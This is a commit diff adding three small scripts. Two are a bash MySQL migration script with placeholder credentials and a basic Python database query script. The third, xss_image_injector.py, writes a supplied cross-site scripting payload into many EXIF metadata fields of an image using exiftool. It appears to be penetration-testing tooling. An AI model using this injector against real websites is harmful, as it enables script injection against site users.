First scritps

Author: six2dez

ddbb_fix_migration.sh

@@ -0,0 +1,59 @@
+#!/bin/bash
+
+confirm() {
+    # call with a prompt string or use a default
+    read -r -p "${1:-Are you sure? [y/N]} " response
+    case "$response" in
+        [yY][eE][sS]|[yY]) 
+            true
+            ;;
+        *)
+            false
+            ;;
+    esac
+}
+
+host=10.10.10.10 # CHANGE THIS
+password=Password # CHANGE THIS
+port=3306 # CHANGE THIS
+
+tables=(
+    table1 # CHANGE THIS
+    table2 # CHANGE THIS
+    table3 # CHANGE THIS
+)
+
+printf -- '\033[37m#################################################################################### \033[0m\n';
+printf -- '\033[37m################################# MIGRATION START ################################## \033[0m\n';
+printf -- '\033[37m#################################################################################### \033[0m\n';
+printf -- '\n';
+printf -- '\033[32m Downloading backup to ~/backups...  \033[0m\n';
+printf -- '\n';
+# Download last backup over scp
+scp user@10.10.10.10://pat_to_mysl_backup/sql_backup*.sql.tar.gz ~/local_backup/ # CHANGE THIS
+printf -- '\033[32m Downloaded!!!  \033[0m\n';
+printf -- '\n';
+
+printf -- '\033[37m################################## DUMP TABLES ##################################### \033[0m\n';
+printf -- '\n';
+
+for i in "${tables[@]}"; do
+	printf -- '\033[32m Running sed in %s scheme and data...  \033[0m\n' $i;
+	#confirm
+    ## INDEX AUTO INCREMENT FIX -- REMOVE THIS
+	pv *_scheme_$i.sql|sed -r 's/AUTO_INCREMENT=[0-9]+/AUTO_INCREMENT=1/g' > $i.scheme_increment.sql
+	pv *_data_$i.sql|sed -e "s/([0-9]*,/(NULL,/gi" > $i.null_good.sql 
+	printf -- '\033[32m Loading %s scheme and data...  \033[0m\n' $i;
+	#confirm
+	pv $i.scheme_increment.sql|mysql -u user --password=$password -h $host -P $port DDBB_NAME
+	#confirm
+	pv $i.null_good.sql|mysql -u user --password=$password -h $host -P $port DDBB_NAME
+	printf -- '\033[32m %s loaded!!!  \033[0m\n' $i;
+	printf -- '\n';
+done
+
+printf -- '\033[37m#################################################################################### \033[0m\n';
+printf -- '\033[37m################################# MIGRATION END #################################### \033[0m\n';
+printf -- '\033[37m#################################################################################### \033[0m\n';
+
+exit

simple_db_connection.py

@@ -0,0 +1,26 @@
+#!/usr/bin/python
+import MySQLdb
+import sys
+
+if(len(sys.argv) < 4):
+		print("Usage: %s HOST USER PASSWORD DBNAME\n" % sys.argv[0])
+		print("Eg:    %s 10.10.10.10 root toor database1" % sys.argv[0])
+		exit()
+
+db = MySQLdb.connect(host=sys.argv[1],
+                     user=sys.argv[2],
+                     passwd=sys.argv[3],
+                     db=sys.argv[4])
+
+# you must create a Cursor object. It will let
+#  you execute all the queries you need
+cur = db.cursor()
+
+# Use all the SQL you like
+cur.execute("SELECT * FROM USERS")
+
+# print all the first cell of all the rows
+for row in cur.fetchall():
+    print row[0]
+
+db.close()

xss_image_injector.py

@@ -0,0 +1,53 @@
+#!/usr/bin/python
+import sys
+import subprocess
+
+class bcolors:
+    HEADER = '\033[95m'
+    OKBLUE = '\033[94m'
+    OKGREEN = '\033[92m'
+    WARNING = '\033[93m'
+    FAIL = '\033[91m'
+    ENDC = '\033[0m'
+    BOLD = '\033[1m'
+    UNDERLINE = '\033[4m'
+
+if(len(sys.argv) < 2):
+    print("Usage: %s IMAGEPATH XSSCODE\n" % sys.argv[0])
+    print("Eg:    %s test.jpg '<script>alert(\"XSS\");</script>'" % sys.argv[0])
+    exit()
+
+exifs = [
+   "ImageDescription",
+   "Make",
+   "Model",
+   "Software",
+   "Artist",
+   "Copyright",
+   "XPTitle",
+   "XPComment",
+   "XPAuthor",
+   "XPSubject",
+   "Location",
+   "Description",
+   "Author"
+]
+ 
+if sys.argv[1] and sys.argv[2]:
+    image = sys.argv[1]
+    xss = sys.argv[2]
+ 
+    for exif in exifs:
+        attribute = "-{0}={1}".format(exif, xss)
+        try:
+          subprocess.call(["exiftool", attribute, image])
+        except: 
+          print bcolors.FAIL + "No exiftool installed or found" + bcolors.ENDC
+          exit()
+    try:
+      subprocess.call(["exiftool", image])
+    except: 
+          print "No exiftool installed or found"
+          exit()
+else:
+    print("No source image given")